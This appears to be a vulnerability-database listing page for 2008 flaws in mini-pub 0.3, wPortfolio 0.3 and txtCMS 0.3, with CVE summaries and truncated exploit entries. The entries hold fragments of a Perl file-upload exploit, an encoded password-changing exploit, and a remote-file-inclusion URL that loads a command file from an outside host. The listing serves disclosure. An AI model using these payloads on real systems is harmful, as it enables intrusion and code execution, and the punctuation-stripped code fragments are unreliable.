CVE-2008-5936

front-end/edit.php in mini-pub 0.3 and earlier allows remote attackers to read files and obtain PHP source code via a filename in the sFileName parameter...

CVE-2008-5883

Absolute path traversal vulnerability in front-end/dir.php in mini-pub 0.3 and earlier allows remote attackers to list arbitrary directories via a full pathname in the sDir parameter...

CVE-2008-5883

CVE-2008-5883 describes an absolute path traversal in mini-pub (front-end/dir.php) prior to version 0.3, where a full pathname supplied in the sDir parameter allows remote attackers to list arbitrary directories. Documents confirm the affected component and root cause; exploitation details are no...

Path traversal

Absolute path traversal vulnerability in mini-pub.php/front-end/cat.php in mini-pub 0.3 allows remote attackers to read arbitrary files via a full pathname in the sFileName parameter...

Code injection

mini-pub.php/front-end/cat.php in mini-pub 0.3 allows remote attackers to execute arbitrary commands via shell metacharacters in the sFileName argument...

Remote file inclusion

PHP remote file inclusion vulnerability in mini-pub.php/front-end/img.php in mini-pub 0.3 allows remote attackers to execute arbitrary PHP code via a URL in the sFileName parameter...

CVE-2008-5579

Absolute path traversal vulnerability in mini-pub.php/front-end/cat.php in mini-pub 0.3 allows remote attackers to read arbitrary files via a full pathname in the sFileName parameter...

CVE-2008-5220

Unrestricted file upload vulnerability in admin/uploadform.php in wPortfolio 0.3 and earlier allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in admin/tmp/...

Directory traversal

Directory traversal vulnerability in index.php in txtCMS 0.3, when registerglobals is enabled and magicquotesgpc is disabled, allows remote attackers to include and execute arbitrary local files via a .. dot dot in the id parameter...

CVE-2008-5217

Vulnerability context (CVE-2008-5217) : A directory traversal flaw affects the PHP-based CMS txtCMS 0.3 in index.php when PHP is configured with register_globals enabled and magic_quotes_gpc disabled. An attacker can manipulate the id parameter with a .. sequence to cause local file inclusion and...

CVE-2008-5217

Directory traversal vulnerability in index.php in txtCMS 0.3, when registerglobals is enabled and magicquotesgpc is disabled, allows remote attackers to include and execute arbitrary local files via a .. dot dot in the id parameter...

wPortfolio <= 0.3 Admin Password Changing Exploit

Exploit for unknown platform in category web applications ================================================= wPortfolio = 0.3 Admin Password Changing Exploit ================================================= ============================================================================== wPortfolio ...

wportfolio-upload.txt

!/usr/bin/perl Name: wPortfolio new; my $re = $ua-requestPOST $url, ContentType = 'form-data', Content = filetoupload = $file ; if $re-issuccess print "+ Uploaded ! \n"; print "+ Link: ".$host.$dfold.$file." \n"; else print "- Upload failed ! \n"; sub cheek my $host = $0; if $host = /http://./...

wPortfolio 0.3 - Admin Password Changing

=== XPL ===/ $GNK = "ZWNobyAiPFRJVExFPndQb3J0Zm9saW8gPD0gMC4zIEFkbWluIFBhc3N3b3JkIENoYW5naW5nIEV4". "cGxvaXQgfCBCeTogRzROMEs8L1RJVExFPiI7DQokRzROMEsgPSA8PDxFT0cNCj09PT09PT09PT09". "PT09PT09P...

wPortfolio 0.3 - Arbitrary File Upload

wPortfolio 0.3 - Arbitrary File Upload !/usr/bin/perl Name: wPortfolio new; my $re = $ua-requestPOST $url, ContentType = 'form-data', Content = filetoupload = $file ; if $re-issuccess print "+ Uploaded ! \n"; print "+ Link: ".$host.$dfold.$file." \n"; else print "- Upload failed ! \n"; sub cheek ...

wPortfolio <= 0.3 Remote Arbitrary File Upload Exploit

Exploit for unknown platform in category web applications ====================================================== wPortfolio new; my $re = $ua-requestPOST $url, ContentType = 'form-data', Content = filetoupload = $file ; if $re-issuccess print "+ Uploaded ! \n"; print "+ Link: ".$host.$dfold.$file...

wPortfolio 0.3 - Arbitrary File Upload

!/usr/bin/perl Name: wPortfolio new; my $re = $ua-requestPOST $url, ContentType = 'form-data', Content = filetoupload = $file ; if $re-issuccess print "+ Uploaded ! \n"; print "+ Link: ".$host.$dfold.$file." \n"; else print "- Upload failed ! \n"; sub cheek my $host = $0; if $host = /http://./...

mini-pub 0.3 (LFD/CE) Multiple Remote Vulnerabilities

No description provided by source. mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. local file disclosure http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 2. local...

mini-pub 0.3 Local Directory Traversal / File Disclosure Vulnerabilities

Exploit for unknown platform in category web applications ======================================================================== mini-pub 0.3 Local Directory Traversal / File Disclosure Vulnerabilities ======================================================================== mini-pub.php = v0.3...

mini-pub 0.3 - File Disclosure / Code Execution

mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. local file disclosure http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 2. local file disclosure...